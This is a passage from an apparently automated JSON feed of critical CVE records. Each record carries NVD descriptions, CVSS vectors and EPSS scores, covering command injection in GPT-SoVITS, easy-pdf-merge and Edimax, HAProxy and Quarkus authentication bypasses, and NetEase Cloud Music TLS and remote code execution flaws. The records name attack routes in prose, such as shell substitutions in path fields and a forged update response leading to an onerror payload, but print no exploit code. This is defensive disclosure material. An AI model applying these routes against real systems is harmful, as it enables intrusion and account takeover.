allows unauthenticated attackers to execute commands via output folder paths. Attackers can enter shell substitutions like $(...) in the UVR5 WebUI output folder textboxes with mp3 or m4a export to run commands as the server user.","detail":"GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in tools/uvr5/vr.py that allows unauthenticated attackers to execute commands via output folder paths. Attackers can enter shell substitutions like $(...) in the UVR5 WebUI output folder textboxes with mp3 or m4a export to run commands as the server user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:07.817Z","updatedAt":"2026-10-19T22:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-71429","asOf":"2026-10-19T22:10:00.130Z"},"epss":{"probability":0.02873,"percentile":0.86721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-71429&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-71429","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71429","type":"primary","publishedAt":"2026-10-12T21:17:07.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-71429&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-71429, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-37279","cveId":"CVE-2020-37279","aliases":[],"kind":"vulnerability","title":"easy-pdf-merge 0.1.0 through 0.2.6 contains an OS command injection vulnerability that allows attackers to execute commands by injecting shell metacharacters into source paths,...","summary":"easy-pdf-merge 0.1.0 through 0.2.6 contains an OS command injection vulnerability that allows attackers to execute commands by injecting shell metacharacters into source paths, destination path, or maxHeap option. Attackers can supply file names or options containing double quotes, semicolons, $() or backticks, which child_process.exec() runs through a shell with the Node.js process privileges.","detail":"easy-pdf-merge 0.1.0 through 0.2.6 contains an OS command injection vulnerability that allows attackers to execute commands by injecting shell metacharacters into source paths, destination path, or maxHeap option. Attackers can supply file names or options containing double quotes, semicolons, $() or backticks, which child_process.exec() runs through a shell with the Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:05.570Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-37279","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.0188,"percentile":0.79303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-37279&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2020-37279","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-37279","type":"primary","publishedAt":"2026-10-12T21:17:05.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-37279&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-37279, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96012","cveId":"CVE-2026-96012","aliases":[],"kind":"vulnerability","title":"IBM Db2 Mirror for i 7.4, 7.5, and 7.6 is vulnerable to privilege escalation.","summary":"IBM Db2 Mirror for i 7.4, 7.5, and 7.6 is vulnerable to privilege escalation. An authenticated attacker could craft a malicious request that bypasses additional authorization and input validation checks to execute malicious code. An attacker could exploit this vulnerability to obtain elevated privileges on the system.","detail":"IBM Db2 Mirror for i 7.4, 7.5, and 7.6 is vulnerable to privilege escalation. An authenticated attacker could craft a malicious request that bypasses additional authorization and input validation checks to execute malicious code. An attacker could exploit this vulnerability to obtain elevated privileges on the system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:10.723Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96012","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00312,"percentile":0.23906,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96012","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96012","type":"primary","publishedAt":"2026-10-12T20:17:10.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109575","cveId":"CVE-2026-109575","aliases":[],"kind":"vulnerability","title":"In HAProxy Data Plane API 2.2.0 through 3.4.3 (and corresponding Enterprise Edition releases), Server.ConfigureAPI() has process-global authentication logic that improperly drops...","summary":"In HAProxy Data Plane API 2.2.0 through 3.4.3 (and corresponding Enterprise Edition releases), Server.ConfigureAPI() has process-global authentication logic that improperly drops security controls across multiple transport types. When a TLS Certificate Authority (tls_ca) is configured and a numeric TLS port (tls_port) is specified, the application globally disables Basic authentication on its shared internal request handler. Because this handler is shared concurrently among HTTP, HTTPS, and UNIX domain socket listeners, and mutual TLS (mTLS) client certificate verification (tls.RequireAndVerifyClientCert) is enforced exclusively on the HTTPS server path, all other simultaneously active non-mTLS listeners fail open. Consequently, an unauthenticated attacker capable of reaching an affected HTTP or UNIX management endpoint can completely bypass credentials to gain full API administrative access. This allows unauthorized remote or local actors to read sensitive, cleartext HAProxy configuration data or replace the managed configuration entirely via the raw configuration endpoint. This has been fixed in versions 3.4.4, 3.3.9, 3.2.17, 3.0.25, 2.9.29, and their respective EE backports by migrating to a per-request TLS connection-state validation model.","detail":"In HAProxy Data Plane API 2.2.0 through 3.4.3 (and corresponding Enterprise Edition releases), Server.ConfigureAPI() has process-global authentication logic that improperly drops security controls across multiple transport types. When a TLS Certificate Authority (tls_ca) is configured and a numeric TLS port (tls_port) is specified, the application globally disables Basic authentication on its shared internal request handler. Because this handler is shared concurrently among HTTP, HTTPS, and UNIX domain socket listeners, and mutual TLS (mTLS) client certificate verification (tls.RequireAndVerifyClientCert) is enforced exclusively on the HTTPS server path, all other simultaneously active non-mTLS listeners fail open. Consequently, an unauthenticated attacker capable of reaching an affected HTTP or UNIX management endpoint can completely bypass credentials to gain full API administrative access. This allows unauthorized remote or local actors to read sensitive, cleartext HAProxy configuration data or replace the managed configuration entirely via the raw configuration endpoint. This has been fixed in versions 3.4.4, 3.3.9, 3.2.17, 3.0.25, 2.9.29, and their respective EE backports by migrating to a per-request TLS connection-state validation model.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:09.443Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109575","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00355,"percentile":0.28988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109575&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109575","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109575","type":"primary","publishedAt":"2026-10-12T20:17:09.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109575&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109575, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109423","cveId":"CVE-2026-109423","aliases":[],"kind":"vulnerability","title":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a TLS certificate validation vulnerability that allows a network-adjacent...","summary":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a TLS certificate validation vulnerability that allows a network-adjacent attacker to intercept and decrypt HTTPS traffic by failing to validate the server certificate chain, verify the hostname, or consult any Windows certificate trust store. Attackers can perform a man-in-the-middle attack using a rogue certificate authority to decrypt traffic, capture the MUSIC_U session credential sent in authenticated API requests, and modify server responses in transit, enabling account takeover and transport-layer response forgery.","detail":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a TLS certificate validation vulnerability that allows a network-adjacent attacker to intercept and decrypt HTTPS traffic by failing to validate the server certificate chain, verify the hostname, or consult any Windows certificate trust store. Attackers can perform a man-in-the-middle attack using a rogue certificate authority to decrypt traffic, capture the MUSIC_U session credential sent in authenticated API requests, and modify server responses in transit, enabling account takeover and transport-layer response forgery.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:08.993Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109423","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00155,"percentile":0.04573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109423&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109423","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109423","type":"primary","publishedAt":"2026-10-12T20:17:08.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109423&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109423, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109422","cveId":"CVE-2026-109422","aliases":[],"kind":"vulnerability","title":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a remote code execution vulnerability in the renderer-process IPC bridge...","summary":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a remote code execution vulnerability in the renderer-process IPC bridge os.navigateExternal, which passes caller-supplied URLs to ShellExecuteW without validating the URL scheme. An attacker able to inject content into the renderer, such as by forging the /pc/upgrade/get API response using a publicly known AES key over an unvalidated TLS connection, can invoke os.navigateExternal with a file:// URL through an img onerror payload to execute arbitrary local binaries under the logged-in user's account.","detail":"NetEase Cloud Music client for Windows (cloudmusic.exe) versions 3.1.38 and 3.1.39.205426 contains a remote code execution vulnerability in the renderer-process IPC bridge os.navigateExternal, which passes caller-supplied URLs to ShellExecuteW without validating the URL scheme. An attacker able to inject content into the renderer, such as by forging the /pc/upgrade/get API response using a publicly known AES key over an unvalidated TLS connection, can invoke os.navigateExternal with a file:// URL through an img onerror payload to execute arbitrary local binaries under the logged-in user's account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:08.840Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109422","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00522,"percentile":0.44012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109422&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109422","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109422","type":"primary","publishedAt":"2026-10-12T20:17:08.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109422&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109422, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108362","cveId":"CVE-2026-108362","aliases":[],"kind":"vulnerability","title":"Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections.","summary":"Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. Prior to 0.11.0, TEE attestation evidence in Privasys attested TLS is accepted without requiring an explicitly authorized platform identity. When a network attacker can forge evidence or extract attestation secrets from a compromised unrevoked platform, the verifier accepts valid measurements from a different unrevoked TEE platform as though they came from the intended Attester. The attacker can impersonate the attested TLS endpoint. This issue is fixed in version 0.11.0.","detail":"Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. Prior to 0.11.0, TEE attestation evidence in Privasys attested TLS is accepted without requiring an explicitly authorized platform identity. When a network attacker can forge evidence or extract attestation secrets from a compromised unrevoked platform, the verifier accepts valid measurements from a different unrevoked TEE platform as though they came from the intended Attester. The attacker can impersonate the attested TLS endpoint. This issue is fixed in version 0.11.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T20:17:08.073Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108362","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00159,"percentile":0.04957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108362&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108362","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108362","type":"primary","publishedAt":"2026-10-12T20:17:08.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108362&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108362, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87744","cveId":"CVE-2026-87744","aliases":[],"kind":"vulnerability","title":"A flaw was found in Quarkus REST Data Panache. This vulnerability allows unauthenticated attackers to bypass security controls on generated endpoints.","summary":"A flaw was found in Quarkus REST Data Panache. This vulnerability allows unauthenticated attackers to bypass security controls on generated endpoints. When a developer customizes a specific operation using @MethodProperties without explicitly re-declaring security roles, the code generator silently drops class-level security requirements. This results in the affected endpoint defaulting to permissive, unauthenticated access, potentially leading to unauthorized information disclosure or data modification.","detail":"A flaw was found in Quarkus REST Data Panache. This vulnerability allows unauthenticated attackers to bypass security controls on generated endpoints. When a developer customizes a specific operation using @MethodProperties without explicitly re-declaring security roles, the code generator silently drops class-level security requirements. This results in the affected endpoint defaulting to permissive, unauthenticated access, potentially leading to unauthorized information disclosure or data modification.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:40.277Z","updatedAt":"2026-10-16T00:17:06.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87744","asOf":"2026-10-16T00:17:06.277Z"},"epss":{"probability":0.00387,"percentile":0.32471,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87744&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87744","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87744","type":"primary","publishedAt":"2026-10-12T19:16:40.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87744&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87744, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57118","cveId":"CVE-2026-57118","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, AgentTeam.launch and the Agents alias register GET /{path}/list, POST /{path}, and `POST /{path}/{agent_id}' without access-control checks before listing agents or calling agent.chat. A remotely exposed server can therefore let unauthenticated clients enumerate agents, consume model resources, access connected private context, and trigger agent tools or workflow side effects. This vulnerability is fixed in praisonaiagents 1.6.59.","detail":"PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, AgentTeam.launch and the Agents alias register GET /{path}/list, POST /{path}, and `POST /{path}/{agent_id}' without access-control checks before listing agents or calling agent.chat. A remotely exposed server can therefore let unauthenticated clients enumerate agents, consume model resources, access connected private context, and trigger agent tools or workflow side effects. This vulnerability is fixed in praisonaiagents 1.6.59.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:38.940Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57118","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00413,"percentile":0.35284,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57118","type":"primary","publishedAt":"2026-10-12T19:16:38.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108918","cveId":"CVE-2026-108918","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in Edimax BR-6208AC 1.32. Impacted is an unknown function of the file /goform/formWlanMP.","summary":"A vulnerability was identified in Edimax BR-6208AC 1.32. Impacted is an unknown function of the file /goform/formWlanMP. The manipulation of the argument readE2P leads to command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was identified in Edimax BR-6208AC 1.32. Impacted is an unknown function of the file /goform/formWlanMP. The manipulation of the argument readE2P leads to command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T18:17:22.353Z","updatedAt":"2026-10-15T14:17:16.050Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108918","asOf":"2026-10-15T14:17:16.050Z"},"epss":{"probability":0.02028,"percentile":0.80885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108918&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108918","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108918","type":"primary","publishedAt":"2026-10-12T18:17:22.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 